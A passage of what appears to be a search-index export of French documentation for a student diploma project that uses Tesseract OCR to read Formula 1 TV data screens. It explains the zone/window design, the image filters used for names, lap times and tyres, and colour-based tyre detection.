recherch\u00e9es. Mais avant ca je dois expliquer certains concepts qui seront importants.","title":"OCR"},{"location":"index.html#fonctionnement-general_1","text":"Voici un screenshot de la page DATA de la F1TV que le programme va recevoir : \"Screen F1TV\" Si on regarde de loin on peut se dire que la structure est plut\u00f4t simple mais c'est loin d'\u00eatre le cas. On peut y voir au moins 4 zones contenant de l'information dans un format diff\u00e9rent. \"Zones principales\" Dans l'exemple ci dessus on peut voir 3 zones mais on aurait \u00e9galement pu comprendre la zone de position des pilotes autour du circuit pour faire 4. Ces 4 zones sont tr\u00e8s diff\u00e9rentes et contiennent d'autres informations. Pour ce travail de dipl\u00f4me je ne m'occupe que de la zone principale. Mais je pense que le titre et les infos de circuit ne prendrait pas tant de temps que ca \u00e0 impl\u00e9menter. J'ai utilis\u00e9 le mot \"Zone\" plus haut et ca n'est pas juste un mot utilis\u00e9 au hasard. C'est le nom de l'objet que j'utilise pour les repr\u00e9senter dans mon programme. Mais comme c'est important de bien comprendre ce concept avant de continuer je vais vous l'expliquer. ZONE : L'objet \"Zone\" parent est un objet qui est une zone d'image. Je m'explique, le but d'une zone est d'\u00eatre un morceau d'une image plus grande. Le but d'une Zone est de contenir une liste de plus petites Zones ou bien une liste de \"Window\" (j'explique ce que c'est juste apr\u00e8s). Elle contient la portion d'image qui la concerne et ses propres dimensions. Le parent zone ne pr\u00e9voit que de pouvoir ajouter ou supprimer des \u00e9l\u00e9ments des listes de zones ou de windows ainsi qu'une methode qui permet d'aller chercher toutes informations des livres qu'elle contient. L'int\u00e9r\u00eat d'une zone est de pouvoir compartimenter une image dans des parties int\u00e9ressantes au niveau de la reconnaissance mais pas de traiter d'information. WINDOW : L'objet \"Window\" est un objet qui peut ressembler beaucoup \u00e0 l'objet \"Zone\". En effet elle aussi est une partie d'une image plus grande et contient ses dimensions, mais elle se distingue en deux points importants. Elle ne contient pas d'autres Zones ou Windows Elle peut retourner les informations \u00e9crites sur son image. Toutes les Window qui h\u00e9ritent du parent Window peuvent impl\u00e9menter une methode qui permet de renvoyer ce qui peut \u00eatre d\u00e9cod\u00e9 sur son image. Les enfants peuvent aussi aller piocher dans les nombresues methodes de r\u00e9cup\u00e8ration de donn\u00e9es contenues dans le parent Window. Mieux vaut r\u00e9utiliser le plus possible que de r\u00e9inventer la roue pour chaque Window. Une analogie un peu bancale pourrait se pr\u00e9senter comme la suivante : La zone est une armoire ou une bibliot\u00e8que. Si c'est une zone qui contient d'autres zones c'est une bibliot\u00e8que et chacune de ces sous-zones sont des armoires. Leur unique but est de contenir de mani\u00e8re ordonn\u00e9e des objets qui eux contiennent de l'information. Les livres ici sont les Windows. Ils contiennet de l'information et sont stock\u00e9s dans des armoires et on y acc\u00e8de en allant dans la bonne bibliot\u00e8que et en allant dans la bonne armoire. Derni\u00e8res choses pour comprendre le diagramme: Il existe une Main Zone qui est une des 4 grandes zones dont je parlais dans la d\u00e9composition de l'image. Il existe aussi des \"Driver Zone\" qui sont de plus petites zones contenues dans la Main Zone qui et qui ne contiennent que les informations d'un pilote. L'objet Window n'est quasi jamais utilis\u00e9, c'est presque tout le temps des enfants de Window plus sp\u00e9cifiques qui sont utilis\u00e9s, le but est que chaque type d'information sur l'image aie son type de window. Voila donc un petit diagramme qui montre le d\u00e9coupage du programme : \"Diagramme explicatif de l'architecture des zones\" Pour visualiser encore un peu mieux comment ce d\u00e9coupage prend forme voici ce que chaque zone et Window contient. Main Zone : \"Exemple zone principale\" Driver Zone : \"Exemple zone de pilote\" Driver Position Window : \"Exemple de fen\u00eatre de position\" Driver name Window : \"Exemple de fen\u00eatre de nom\" Driver LapTime Window : \"Exemple de fen\u00eatre de temps au tour\" Driver Tyre Window : \"Exemple de fen\u00eatre pneus\" Il existe d'autres types de Window mais ce sont les principaux. On se rend assez facilement compte que chacunes de ces windows va avoir besoin d'un traitement sp\u00e9cifique car la mani\u00e8re de reconnaitre le pneu utilis\u00e9 et le temps au tour ne peut pas \u00eatre la m\u00eame. Pour r\u00e9sumer, on a un programme qui prend en entr\u00e9e un fichier de configuration, qui prend des images de la F1TV et les d\u00e9coupe dans des ZONES qui elles m\u00eame sont d\u00e9coup\u00e9es en WINDOWS pour qu'on puisse plus facilement les d\u00e9coder. Maintenant qu'on a une liste de diff\u00e9rent types de zones on peut commencer \u00e0 chercher ce qu'il y a marqu\u00e9 dessus. Pour cela il faut dabord comprendre un petit peu comment l'OCR fonctionne et comment des libraries comme Tesseract fonctionnent pour donner du texte en partant d'une image. Pour faire tr\u00e8s simple, nous avons un mod\u00e8le qui est entrain\u00e9. C'est \u00e0 dire que on donne \u00e0 un programme un tr\u00e8s grand nombre de mots ou de lettres en lui disant ce que contiennent chaques images. Ensuite le programme va cr\u00e9er des matrices de convolutions pour chaque lettre avec comme objectif de detecter les points communs entre les lettres pour cr\u00e9er un alpphabet. Par exemple la matric de la lettre 'H' donnerait un poids important \u00e0 des lignes verticales connect\u00e9es par une ligne centrale. Et si on fournis assez de donn\u00e9es de bonne qualit\u00e9 au mod\u00e8le, les matrices peuvent \u00eatre tr\u00e8s efficace \u00e0 detecter si une lettre est un H ou un M. Il y a pleins d'autres methodes comme l'utilisation d'un dictionnaire de mots de la langue pour permettre la reconnaissance de mots m\u00eame si une lettre au milieu n'est pas comprise ou en ajoutant d'autres informations sur le contexte mais ca ne nous int\u00e9resse pas ici. C'est important de comprendre comment cette reconnaissance de caract\u00e8res avec des matrices fonctionne car cela va nous aider \u00e0 pr\u00e9parer nos donn\u00e9es pour lui rendre la vie facile et augmenter la pr\u00e9cision de nos r\u00e9sultats.","title":"Fonctionnement g\u00e9n\u00e9ral"},{"location":"index.html#filtres-et-traitement","text":"On peut essayer de donner toutes nos images directement \u00e0 Tesseract pour qu'il reconnaisse tout le texte qu'il y voit mais on risque de se retrouver avec des r\u00e9sultats au mieux inconsistents. Dans notre cas, le soucis est que les chiffres et lettres sont beaucoup trop petits. Ils ne font parfoisd que 10 pixels de haut et cela fait que il n'est pas forc\u00e9ment facile de toujours les diff\u00e9rencier. De plus, comme ils sont petits, les art\u00e9facts d'aliasing sont assez violents et peuvent grandement d\u00e9former une lettre ou un chiffre. Exemple : Prenons le chiffre 9. Dans l'image il peut \u00eatre repr\u00e9sent\u00e9 de cette mani\u00e8re : \"Exemple de chiffre avant post traitement\" On peut voir qu'il est flou, pour nous cela ne pose pas de probl\u00e8me et je pense que \u00e0 peu pr\u00e8s nimporte qui peut dire que c'est un 9. Cependant comme les contours sont flous et m\u00eame si on essaie de retirer le background : \"9 avec anti aliasing\" On voit que le 9 n'est pas clairement d\u00e9finit. En effet on pourrait le comprendre comme : \"Premier exemple de contours\" Ou comme : \"Second exemple de contours\" Voire m\u00eame simplement comme : \"Exemple de coutour g\u00e9n\u00e9reux\" Et on se rend bien compte que les performances de detection ne sont pas les m\u00eames dans ces trois cas. Il faut donc faire un certain post traitement des images pour supprimer les \u00e9l\u00e9ments parasites, les couleurs, et augmenter la visibilit\u00e9 des contours importants. Mais chaque type de donn\u00e9e va avoir des methodes de post traitement diff\u00e9rents. Donc voici les diff\u00e9rents types de reconnaissance et leur post traitements :","title":"Filtres et traitement"},{"location":"index.html#texte","text":"Alors ce type de reconnaissance est utilis\u00e9 par la WINDOW du nom de pilote et de la position du pilote. C'est je pense la plus simple de toutes car Tesseract est particuli\u00e8rement bien entrain\u00e9 pour. Cette reconnaissance concerne donc des lettres qui font des mots ou des noms. Voici un exemple de la WINDOW nom de pilote en entr\u00e9e : \"Exemple texte cru\" Ce texte peut paraitre bon, cependant quand on le lance dans Tesseract, il ne va pas toujours donner un r\u00e9sultat parfait. Il faut aussi savoir qu'il y a des noms pas mal plus p\u00e9nibles que Tesseract a plus de mal \u00e0 reconnaitres, soit \u00e0 cause des lettres utilis\u00e9es, soit car le nom est un nom d'une autre r\u00e9gion et qui ne veut rien dire en anglais ce qui emp\u00eache l'utilisation de dictionnaire (Ex : Tsunoda est un nom japonais et parfois il est difficile pour Tesseract de le reconnaitre car si une lettre pose probl\u00eame il ne peut pas trouver de contexte qui puisse l'aider). Donc pour le rendre plus facilement lisible et augmenter les chances que toutes les lettres soient d\u00e9couvertes, voici les \u00e9tapes que j'ai mis en place. 1 : J'inverse les couleurs. Je me suis rendu compte que il \u00e9tait souvent plus facile de trouver un noir sur blanc que blanc sur noir. Je ne suis pas sur que cette \u00e9tape soit capitale cependant. \"Texte invers\u00e9\" 2 : Je fais un Treshhold de 165 car avec moins le texte parfois prend trop du background et avec plus les lettres sont trop fines. \"Texte apr\u00e8s Treshold\" 3 : Je fais un Resize de l'image pour avoir une meilleure r\u00e9solution et permettre une meilleure d\u00e9tection. J'augmente la hauteur et la largeur par un facteur 2. J'ai trouv\u00e9 cette valeur suffisante et aller plus haut consomme beaucoup de ressources. \"Texte apr\u00e8s Resize\" 4: Je fais une tr\u00e8s rapide Dilatation du texte pour retirer le flou amen\u00e9 par la methode de Resize. Je n'utilise qu'une valeur de 1 car je ne veux pas trop changer comment le texte est model\u00e9 je veux juste retirer le flou. \"Texte apr\u00e8s Dilatation\" Explication des methodes pr\u00e9cises plus bas Voila pour ce qui est du post processing. Je ne dis pas que ce sont les meilleurs param\u00eatres possibles mais dans mes tests ce sont ceux qui ont le mieux march\u00e9s. C'est aussi les premi\u00e8res methodes que j'ai pu d\u00e9velopper alors forc\u00e9ment elles n'ont pas le niveau de d\u00e9tails de certaines autres. Mais comme m\u00eame avec ce traitement il n'est pas rare que je me retrouve avec une ou deux lettres pas justes, il faut un moyen d'\u00eatre s\u00fbr que c'est le bon nom qui est trouv\u00e9. Ce qu'il y a de pratique avec les noms de pilotes c'est que on sait d\u00e9ja comment ils s'appellent avant le Grand Prix. En effet dans le fichier de configuration de la reconnaissance, il y a une liste de noms de pilotes. Cela veut dire que au lieu de chercher \u00e0 trouver parfaitement les bonnes lettres, on peut simplement essayer de trouver quel nom de pilote ressemble le plus au nom trouv\u00e9 sur l'image. Pour ce faire j'ai utilis\u00e9 une methode appel\u00e9e la distance de Levenshtein. Pour faire simple c'est une methode qui va calculer les distances de lettres pour determiner entre des strings laquelle ressemble le plus \u00e0 une autre. Pour r\u00e9sumer le fonctionnement dans lordre : On prend l'image on la traite On envoie l'image trait\u00e9e \u00e0 Tesseract On trouve quel nom de pilote ressemble le plus \u00e0 ce r\u00e9sultat On renvoie le nom du pilote","title":"Texte"},{"location":"index.html#chiffres","text":"Cette methode en r\u00e9alit\u00e9 utilise simplement la m\u00eame methode que celle qui va r\u00e9cup\u00e8rer le texte sur une image. Cependant, la, on envoie \u00e0 Tesseract l'information qu'il ne peut trouver que des chiffres sur l'image ce qui lui permet d'\u00eatre beaucoup plus pr\u00e9cis et de ne pas confondre un 9 avec un P ou un 11 avec un H PAR EXEMPLE (non pas que ca me soit arriv\u00e9 tr\u00e8s r\u00e9guli\u00e8rement et que ca me soit rest\u00e9 dans la gorge \u00e9videmment) L'avantage c'est que cette methode ne demande m\u00eame pas de traitement de la donn\u00e9e en sortie de Tesseract. On \u00e9sp\u00e8re simplement que le post traitement aura suffit. TEMPS : Cette methode regroupe la d\u00e9tection de temps au tour. Il y a trois grands types de WINDOW qui sont concern\u00e9es : La WINDOW du temps au tour La WINDOW du retard sur le leader La WINDOW des secteurs La grande diff\u00e9rence ce sont les ordres de grandeur. Les temps au tour sont en g\u00e9n\u00e9ral entre 50 secondes et 2 minutes. Tandis que les secteurs sont entre 20 et 30 secondes alors que le retard sur le leader peut-\u00eatre de plusieurs minutes. Cependant, tous ces temps poss\u00e8dent le m\u00eame type de post-traitement avant d'\u00eatre envoy\u00e9s \u00e0 Tesseract. Voici un exemple de temps au tour avant toute transformation : \"Temps au tour avant traitement\" On peut avoir l'impression que ce texte est tout \u00e0 fait lisible et facile \u00e0 d\u00e9coder surtout quand on le voit de loin comme ca. Cependant, il faut imaginer que ces chiffres font 13 pixels de haut en comptant le flou et comme expliqu\u00e9 plus haut ce flou dans ces echelles est terrible. \"Temps au tour zoom\u00e9\" Si on donne cette image \u00e0 Tesseract, les '3' deviennent des '9', des '9' deviennent des '8', des '2' deviennent eux aussi des '9', le tout parfois inversement et de mani\u00e8re compl\u00eatement impr\u00e9visible. Ca n'est simplement pas utilisable. Cette partie est un peu plus complexe car si la detection n'est pas fiable les chiffres sont simplement inutilisables. Si \u00e0 tout moment un temps au tour de 1:39.106 devient 1:32.108 c'est juste pas possible. Voici donc les \u00e9tapes de post-traitement que j'ai mis en place pour leur d\u00e9tection : 1: J'applique un Treshold de 185 pour enlever les ambiguit\u00e9s d'alisaising et avoir une image en noir et blanc claire. La valeur de 185 est assez \u00e9lev\u00e9e car le but est de vraiment garder uniquement les contours. Comme les chiffres se ressemlent beaucoup plu que les lettres, il faut tenter le plus possible de conserver leur formes sp\u00e9cifiques. Je me suis rendu compte que cette valeur \u00e9tait une de celles qui marchent le mieux. \"Temps au tour apr\u00e8s Treshold\" 2: J'applique un Resize de 2 pour augmenter la r\u00e9solution des chiffres et permettre une meilleure d\u00e9tection. Le but est d'avoir plus de pixels et donc de permettre \u00e0 Tesseract de mieux utiliser ses matrices de convolution. \"Temps au tour apr\u00e8s Resize\" 3: Comme le Resize am\u00e8ne du flou, j'utilise une methode de Dilatation qui me permet de retirer ce flou et de remplir un peu plus certaines parties qui ont \u00e9t\u00e9 un peu laiss\u00e9e par le Resize ; \"Temps au tour apr\u00e8s Dilatation\" 4: Contrairement aux mots plus haut, la rondeur ajout\u00e9e par la dilatation n'est pas vraiment d\u00e9sir\u00e9e. En effet, elle peut rendre confuse certains chiffres et emp\u00eacher Tesseract de bien trouver le chiffre. Alors j'applique une Erosion qui me permet de contrecarrer en partie les rondeurs ajout\u00e9es par la dilatation et retrouver des chiffres bien form\u00e9es. Pour l' Erosion et la Dilatation j'ai utilis\u00e9 une valeur de 1 car je ne voulais pas trop changer les chiffres. \"Temps au tour apr\u00e8s Erosion\" Explication des methodes pr\u00e9cises plus bas Et avec ce post processing on retrouve de plut\u00f4ts bon r\u00e9sultats qui demandent peu de traitement. Le traitement d\u00e9pend du type de WINDOW cependant. Pour les secteurs on indique \u00e0 Tesseract que les caract\u00e8res autoris\u00e9s sont : \"0123456789.\" Pour les temps au tour on autorise plut\u00f4t \"0123456789.:\" Et pour les \u00e9carts on autorise \"0123456789.+\" Ensuite on r\u00e9cup\u00e8re une liste de chiffres qui'il va falloir transformer en milisecondes pour faciliter le stockage et l'envoi. Le programme nettoie un peu la chaine avant de la convertir. Par exemple parfois le ':' de 1:34.456 est compris comme un '1' ou un '2' et il faut faire attention \u00e0 detecter quand ca arriver. Je passe les d\u00e9tails du reste du nettoyage car c'est vraiment du cas par cas mais quand on a finit de nettoyer la chaine on peut transformer les chaines de minutes secondes et milisecondes en un total de milisecondes. Pour r\u00e9sumer le fonctionnement dans l'ordre : On prend l'image et on lui applique une s\u00e9rie de filtres On envoie l'image filtr\u00e9e \u00e0 Tesseract On nettoie le r\u00e9sultat Tesseract pour compenser certains biais On convertis le r\u00e9sultat en milisecondes","title":"Chiffres"},{"location":"index.html#les-chiffres-2","text":"Il faut savoir que avec la derni\u00e8re version de l'\u00e9mulateur (dont je vais parler un peu plus tard)","title":"les chiffres (2)"},{"location":"index.html#pneus","text":"La on arrive sur la partie la plus p\u00e9nible. Pour comprendre la probl\u00e9matique il faut d'abord faire un petit point sur comment les pneus fonctionnent en Formule 1. Depuis 2019 en Formule 1 nous avons 5 grandes familles de pneus : Les pneus tendres Les pneus medium Les pneus durs Les pneus interm\u00e9diaires Les pneus pluie \"Gamme de pneus Pirelli\" Les trois premiers pneus sont des pneus faits pour piste s\u00e8che, le pneu interm\u00e9diaire pour piste humide et le neu pluie pour la pluie. Chaque pneu a sa dur\u00e9e de vie et son niveau de performance propre mais je ne vais pas rentrer dans le d\u00e9tail ici. Tout ce qu'il faut savoir ce que savoir sur quel pneu chaque pilote est et depuis combien de temps il les chausse est une information tr\u00e8s importante. Chaque pneu a une couleur donn\u00e9e qui permet de les diff\u00e9rencier. Voici un exemple de ce \u00e0 quoi une WINDOW de pneus peut ressembler : \"Exemple zone pneus 1\" Mais cette zone peut aussi ressembler \u00e0 ca : \"Exemple zone pneus 2\" Mais aussi \u00e0 ca : \"Exemple zone pneus 3\" Voire m\u00eame ca : \"Exemple zone pneus 4\" Je pense que vous pouvez tout de suite comprendre la difficult\u00e9 que repr\u00e9sente la t\u00e2che de r\u00e9cup\u00e8ration de donn\u00e9es \u00e0 partir de cette image. En gros le fonctionnement de cette zone d'information est assez simple. Au fur et \u00e0 mesure que la course avance, le trait fait de m\u00eame. Le chiffre dans le round tout \u00e0 droite indique le nombre de tour que le pilote a pass\u00e9 sur ce pneu. La couleur indique le type de pneu. Si il y a une lettre \u00e0 la place d'un chiffre c'est que c'est le premier tour sur ce pneu. La lettre indique le type de pneu. Et pas besoin de dire que si on essaie simplement de donner l'image \u00e0 Tesseract on ne r\u00e9cup\u00e8re ni les chiffres ni les lettres correctement si ce n'est pas du tout. Il faut donc utiliser une methode qui permette d'isoler le rond le plus \u00e0 droite, lui appliquer un traitement qui permette \u00e0 Tesseract de lire ce qu'il y a marqu\u00e9 et qui puisse determiner quel pneu est en train d'\u00eatre utilis\u00e9. J'ai d\u00e9cid\u00e9 de m'occuper dans un premier temps de trouver ce rond avant d'appliquer les filtres car plus l'image est petite plus les filtres sont rapides. Le programme va tirer un trait depuis le bord droit de la zone, et il va avancer vers la gauche jusqu'\u00e0 trouver un obstacle. Je d\u00e9tecte un obstacle si le pixel sur lequel est mon trait poss\u00e8de une valeur de plus de 0x50 dans le channel R,G ou B. J'ai trouv\u00e9 en faisant des tests que les couleurs de background de la F1TV ne d\u00e9passaient jamais ces valeurs. Ensuite apr\u00e8s avoir trouv\u00e9 le premier obstacle, je r\u00e9cup\u00e8re une zone qui doit englober le cercle. Voici un exemple avec cette image en entr\u00e9e : \"Zone compl\u00eate\" Elle est automatiquement coup\u00e9e de cette facon : \"Zone coup\u00e9e automatiquement\" Cela me permet d'isoler uniquement ce qui m'int\u00e9resse ce qui est tr\u00e8s pratique pour Tesseract et pour la detection de couleur. Ensuite avec cette image je peux commencer le processus de reconnaissance. Je commence par faire une moyenne de tous les pixels de l'image en excluant les pixels trop sombres qui font s\u00fbrement partie du background ou du chiffre. Ensuite j'utilise une methode qui calcule la diff\u00e9rence entre la couleur obbtenue et la liste de couleurs possible. Il y a cinq couleurs des pneus possibles : \"#ff0000\" pneu tendre/soft \"Couleur d'un pneu tendre\" \"#f5bf00\" pneu medium \"Couleur d'un pneu medium\" \"#a4a5a8\" pneu dur/hard \"Couleur d'un pneu dur\" \"#00a42e\" pneu inter \"Couleur d'un pneu interm\u00e9diaire\" \"#2760a6\" pneu pluie/wet \"Couleur d'un pneu pluie\" Ce qui est pratique c'est que m\u00eame dans les cas ou il n'y a pas beaucoup de couleur comme celui la : \"Pneu dur avec 0 tours\" On arrive \u00e0 une couleur moyenne de : \"Couleur moyenne de l'image ci dessus apr\u00e8s soustraction du background\" Et il est donc assez facile de determiner le type de pneu en question. Attention, les r\u00e9sultats peuvent \u00eatre tr\u00e8s vite d\u00e9rang\u00e9s par la couleur du pneu pr\u00e9c\u00e9dent si le d\u00e9coupage de la fen\u00eatre n'a pas \u00e9t\u00e9 assez pr\u00e9cis. Ensuite il \"suffit\" de lire le chiffre dans le rond et si on arrive pas \u00e0 le lire alors c'est que c'est une lettre et on sait que le nombre de tours est donc de 0. Maintenant vient le moment tr\u00e8s sympatique de la lecture du chiffre. Vous saurez que Tesseract en plus de detester les grandes images et les images avec des couleurs, deteste \u00e9galement les formes dans une image. Donc dans notre cas, le round de couleur autour du chiffre, m\u00eame si il n'est pas complet, il interf\u00e8re avec la reconnaissance et emp\u00eache de bien lire le chiffre. Il faut donc retirer le background et ensuite la couleur. Sauf que comme le chiffre est de la couleur du background, si on retire le background et ensuite la couleur il ne reste plus rien. Il faut donc retirer le background AUTOUR du rond, et ensuite si on retire la couleur il devrait rester le chiffre sur fond blanc. Pour se faire, j'ai tir\u00e9 des traits depuis les bords de l'image jusqu'\u00e0 ce qu'ils rencontrent le rond. Ensuite je retire tous les pixels entre le rond et les bords de l'image ce qui nous donne ceci : \"Zone pneu avec le background en moins\" Ensuite on peu retirer les pixels qui ont une valeur dans un channel RGB plus haute qu'un certain seuil : \"Zone avec le reste des couleurs supprimm\u00e9es\" Et la on a ce que l'on veut ! A partir de la c'est les filtres que l'on connait qui sont utilis\u00e9s pour en faire une image plus facile \u00e0 utiliser par Tesseract. 1 : On effectue un Resize de facteur 4 (oui c'est beaucoup mais en m\u00eame temps le chiffre est vraiment petit \u00e0 la base) qui permet d'avoir une image d'une bien meilleure r\u00e9solution. \"Filtre 1\" 2: On fait une Dilatation de facteur 1 pour retirer tout le flou de l'image pour aider Tesseract \"Resultat\" Et on a un chiffre qui est utilisable par Tesseract ! Explication des methodes pr\u00e9cises plus bas Pour r\u00e9sumer : On prend l'image de la zone et on la crop pour ne garder que la partie essentielle On d\u00e9termine le type de pneu avec la couleur moyenne de la zone On retire le background autour de cette zone On retire la couleur qui reste pour ne garder que le chiffre On augmente la r\u00e9solution du chiffre On rend ce chiffre net On envoie l'image trait\u00e9e et filtr\u00e9e \u00e0 Tesseract On d\u00e9termine le nombre de tours que le pilote a fait avec ses pneus avec le r\u00e9sultat de Tesseract","title":"Pneus"},{"location":"index.html#drs","text":"Bon ca c'\u00e9tait plut\u00f4t simple j'ai simplement v\u00e9rifi\u00e9 si la moyenne de vert d\u00e9passait une certaine valeur et puis voila.","title":"DRS"},{"location":"index.html#filtres-et-methodes-sur-les-images","text":"Dans ce projet on a du utiliser diff\u00e9rentes methodes d'\u00e9dition d'image que ce soit sous forme de filtres ou de modification de l'image directement. Voici un sommaire des methodes utilis\u00e9es et comment elles fonctionnent. Tresholding Cette methode sert \u00e0 passer d'une image en couleurs \u00e0 une image binaire noir blanc. C'est une \u00e9tape tr\u00e8s importante pour l'OCR car elle permet (si bien faite) d'isoler du texte de son background. Un exemple ici : \"Exemple treshold\" Le fonctionnement est assez simple mais il peut \u00eatre fait de diff\u00e9rentes mani\u00e8res mais dans mon cas voici comment l'algorythme fonctionne sachant qu'il demande en entr\u00e9e la Bitmap que l'on veut modifier ainsi que la valeur de Treshold : On parcours chaque pixel de l'image On convertir la couleur du pixel en une valeur de gris pour avoir la m\u00eame valeur en R,G et B (Formule utilis\u00e9e : grey = R x 0.3 + G x 0.59 + B x 0.11) Si le r\u00e9sultat de la valeur de gris est au dessus de la valeur de treshold, le pixel est pass\u00e9 en blanc complet et dans le cas contraire il est pass\u00e9 en noir complet On retourne la Bitmap modifi\u00e9e Un algorythme pas forc\u00e9ment complexe mais qui peut augmenter de mani\u00e8re titanesque les chances de r\u00e9ussir une OCR Resize Cette methode sert \u00e0 augmenter la r\u00e9solution d'une image pour am\u00e9liorer la pr\u00e9cision de l'algorythme de Tesseract. En effet, avec trop peu de pixels, la matrice de convolution n'est pas toujours aussi efficace. Il ne faut pas confondre cette methode d'augmentation de la taille avec une simple interpolation. En effet une augmentation de taille interpol\u00e9e ne vas pas vraiment changer la r\u00e9solution, l'image sera toujours aussi pixelis\u00e9e, seulement, les pixels seront compos\u00e9es de plus de pixels comme dans l'exemple ci dessous : \"Exemple d'interpolation lin\u00e9aire\" Dans mon projet j'utilise de l'interpolation bicubique qui va cr\u00e9er de l'information pour tenter de combler le vide et produire une image r\u00e9ellement plus grande et avec plus de details mais en ajoutant du flou. \"Exemple des diff\u00e9rents types d'interpolation\" Le but est d'aller chercher dans les pixels alentours les couleurs qui sont d\u00e9ja pr\u00e9sente et de jouer avec des poids pour tenter de faire une pr\u00e9diction de ce que ce pixel aurait \u00e9t\u00e9 si l'image avait plus de detail. Voici un exemple assez parlant : \"Exemple interpolation bicubique (avant)\" \"Exemple interpolation bicubique (apr\u00e8s)\" On pourrait croire que c'est inutile mais dans le contexte de Tesseract ajouter des d\u00e9tails pour tenter de simuler une meilleure r\u00e9solution m\u00eame en cr\u00e9ant du flou est int\u00e9ressant pour mieux remplir la matrice de convolution. Mais il est possible de r\u00e9duire ce flou avec d'autres m\u00e9thodes \u00e9galement. (Dans mon code je n'ai pas utilis\u00e9 du code fait main mais j'utilise une librairie qui me permet de le faire) Il faut simplement faire attention car c'est un proc\u00e9d\u00e9 assez lourd en performances. Dilatation et Erosion Cette methode et la suivante font partie des methodes de transformation morphologiques. Ces methodes sont utilis\u00e9es pour accentuer les formes et les epaissir ou les r\u00e9duire et les affiner. Elles poss\u00e8dent l'aventage \u00e9galement de retirer le flou d'une image ce qui est tr\u00e8s pratique si utilis\u00e9 apr\u00e8s l'utilisation de methodes comme Resize . Je ne vais pas trop rentrer dans les d\u00e9tails de ces methodes car leur fonctionnement est un peu plus lourd en math si on veut faire une v\u00e9ritable explication du pourquoi et du comment ca marche aussi bien. Pour notre projet je dirais que l'important est de savoir que ce sont deux outils tr\u00e8s pratiques pour changer la morphologie des lettres et des chiffres et qu'on peut les utiliser pour corriger du flou et/ou des art\u00e9facts apparus lors de la binarisation de l'image ou de la suppression de fond. Remove Background Cette methode est assez simple et est juste une methode qui va passer en revue tous les pixels de l'image et si la couleur d'un pixel s'apparente \u00e0 celle d'un pixel de fond il est pass\u00e9 en noir total ou en blanc total. Le but est de permettre au reste du programme de fonctionner avec des couleurs moins ambigues. Une variante sp\u00e9cialis\u00e9e pour la reconnaissance des pneus appel\u00e9e affectueusement Remove Useless cherche \u00e0 atteindre le m\u00eame bu mais est bien plus soffistiqu\u00e9e et sp\u00e9cialis\u00e9e pour retirer le background autour d'un cercle de couleur pour ensuite retirer la couleur et qu'il ne reste qu'un chiffre. Pour plus de details voir la detection de pneus. Il y aussi d'autre methodes comme un filtre Gaussien ou Highlight countour que j'ai du d\u00e9velopper mais que je n'ai pas utilis\u00e9 donc je ne vais pas en parler ici.","title":"Filtres et methodes sur les images"},{"location":"index.html#petit-point-resolution","text":"Comme on peut l'imaginer la r\u00e9solution est extr\u00eamement importante pour l'OCR. Et en avancant sur le projet de l'\u00e9mulateur je me suis rendu compte qu'il \u00e9tait possible de r\u00e9cup\u00e8rer des images en 4K (Plut\u00f4t 1080 avec l'upscaling du lecteur). Cela est une superbe nouvelle car cela permet de simplifier \u00e9norm\u00e9ment le processing sur les diff\u00e9rentes windows. Quelques exemples pour se faire une id\u00e9e \"Echantillon 720P\" ; \"Echantillon 1080P\" \"Echantillon 4K\" Mais il faut savoir que gr\u00e2ce \u00e0 cette simplification j'ai pu aussi cr\u00e9er d'autres methodes de filtrage pour certaines parties. Mais la simplification \u00e9tait obligatoire car avec des images aussi grande il n'\u00e9tait simplement pas possible de venir appliquer les m\u00eames filtres car le temps de traitement serait beaucoup plus long. J'indique ces changements que apr\u00e8s l'explication d'avant car ce sont des changements un peu de derni\u00e8re minute et que la logique expliqu\u00e9e plus haut a \u00e9t\u00e9 tr\u00e8s importante pour le projet OCR m\u00eame si tout n'est plus forc\u00e9ment utilis\u00e9 maintenant que j'ai des images de meilleure qualit\u00e9. Dans la version actuellement disponible la reconnaissance a \u00e9t\u00e9 simplifi\u00e9e sous cette forme : Le \"GapToLeader\" est d\u00e9cod\u00e9 avec un premier passage de Tresholding \u00e0 165 puis un Resize de 2 et une Dilatation de 1 pour retirer le flou Les \"Sectors\" sont d\u00e9cod\u00e9s en utilisant une toute nouvelle methode VanishOxyAction \u00e0 cause des couleurs parfois appliqu\u00e9es et ensuite simplement une methode de Tresholding de 150 pour rendre le r\u00e9sultat assez propre pour l'OCR. Le \"LapTime\" est dabord pass\u00e9 par un Tresholding tr\u00e8s strict de 185 pour pr\u00e9parer la SobelEdgeDetection qui est \u00e9galement une nouvelle methode qu'il a \u00e9t\u00e9 possible d'utiliser gr\u00e2ce \u00e0 la simplification du reste des processus. Le \"Text\" est d\u00e9cod\u00e9 simplement avec un tresholding de 165 maintenant gr\u00e2ce \u00e0 l'image 4K. Les pneus ont leur propre traitement comme expliqu\u00e9 plus haut auquel on ajoute la Dilatation de 1. Comme on peut le voir le traitement est pas mal plus simple mais cela ne veut pas dire que les autres methodes que je n'utilise plus ne sont pas utiles. La reconnaissance n'est pas encore parfaite et je pense que leur utilisation pourrait aider \u00e0 am\u00e9liorer les r\u00e9sultats. (Et parfois ces anciennes methodes sont utiles dans les traitements personnalis\u00e9s des windows elle m\u00eames comme par exemple les pneus qui utilisent la methode GrayScale pour isoler les couleurs) VanishOxyAction Cette methode est une methode plut\u00f4t simple mais qui est importante. Elle se base beaucoup sur le code de la methode Grayscale et sur la methode Tresholding car elle essaie de regrouper le meilleur des deux en r\u00e8glant quelques soucis que ces derni\u00e8res cr\u00e9\u00e9ent. Le soucis avec la methode grayscale c'est que quand le texte est de couleur (Ce qui arrive souvent pour les temps de secteurs) la methode GrayScale rend les couleurs dans une nuance de gris un peu trop sombre ce qui fait que ensuite la methode de Tresholding d\u00e9fonce tout. \"Exemple de secteur en couleur\" \"Exemple de secteur en grayscale\" L'id\u00e9e est alors de prendre pour chaque pixel et de garder uniquement la valeur de R,G ou B la plus haute et de mettre les deux autres canaux au m\u00eame niveau pour avoir une image blanchie qui puisse \u00eatre ensuite utilis\u00e9e avec la methode de Tresholding sans soucis. \"Exemple de secteur blanchi avec vanishoxyAction\" SobelEdgeDetection On pourrait se dire que avec ce genre de methode le tresholding est inutile ensuite mais ca n'est pas le cas car le tresholding sert ensuite pour rendre les contours plus ou moins aggressif. Car m\u00eame si l'image ressemble \u00e0 une image binaris\u00e9e, il reste des nuances que le treshold va pouvoir utiliser. SobelEdgeDetection Cette methode est une methode assez classique que je n'ai pas design\u00e9 moi m\u00eame alors je ne vais pas trop m'\u00e9pancher dessus. En gros on utilise une matrice et une formule math\u00e9matique pour redessiner une image et le r\u00e9sultat est une image avec des contours. 